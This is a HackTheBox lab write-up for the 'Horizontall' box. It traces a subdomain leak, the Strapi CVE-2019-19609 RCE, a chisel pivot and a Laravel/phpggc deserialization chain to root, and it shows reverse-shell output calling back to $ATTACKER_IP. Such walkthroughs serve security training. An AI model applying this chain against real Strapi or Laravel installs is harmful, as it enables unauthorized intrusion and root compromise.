Horizontall Writeup - HackTheBox
Horizontall is a Linux box. The chain runs: nmap finds SSH and nginx on port 80, a compiled Vue.js bundle leaks a hidden API subdomain running Strapi, CVE-2019-19609 gives a shell as the strapi user, chisel exposes an internal Laravel app on port 8000, and a PHP deserialization gadget chain via phpggc and laravel-exploits gives a root shell.
Discovery
Port scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-title: Did not follow redirect to http://horizontall.htb
nginx redirects to a named vhost. Add it to /etc/hosts before continuing.
Subdomain Discovery
The site at http://horizontall.htb is a static Vue.js SPA. The compiled JS bundle hardcodes the backend API URL:
http://api-prod.horizontall.htb/reviews
api-prod.horizontall.htb is not linked anywhere in the visible site. Add it to /etc/hosts and probe it:
X-Powered-By[Strapi <strapi.io>]
Strapi headless CMS. Older Strapi versions have a well-documented unauthenticated RCE.
Foothold
CVE-2019-19609 Strapi RCE
[+] Checking Strapi CMS version [+] Looks like this exploit should work! [+] Executing exploit
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 59032 $ whoami strapi
Shell as strapi.
Internal Enumeration
tcp LISTEN 127.0.0.1:1337 node tcp LISTEN 127.0.0.1:8000 tcp LISTEN 127.0.0.1:3306
Port 8000 is a second, internal-only web application. Pivot to it with chisel.
Chisel tunnel
client: Connected (Latency 260ms)
Port 8000 is now reachable locally. Probing it reveals Laravel v8 on PHP 7.4.18, running as root on the localhost interface only.
Privilege Escalation
Laravel deserialization RCE
The exploit chain abuses Laravel's log file as a deserialization sink via a monolog/rce1 gadget chain built with phpggc:
+ Log file: /home/developer/myproject/storage/logs/laravel.log + Logs cleared + Successfully converted to PHAR ! + Phar deserialized -------------------------- uid=0(root) gid=0(root) groups=0(root) --------------------------
Code execution as root. Rebuild the payload with a reverse shell:
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 53054 root@horizontall:~# whoami root
Related
References
-
Strapi unauthenticated RCE exploit.
-
Laravel log poisoning deserialization exploit.
-
PHP Generic Gadget Chains toolkit.
-
Fast TCP tunnel over HTTP.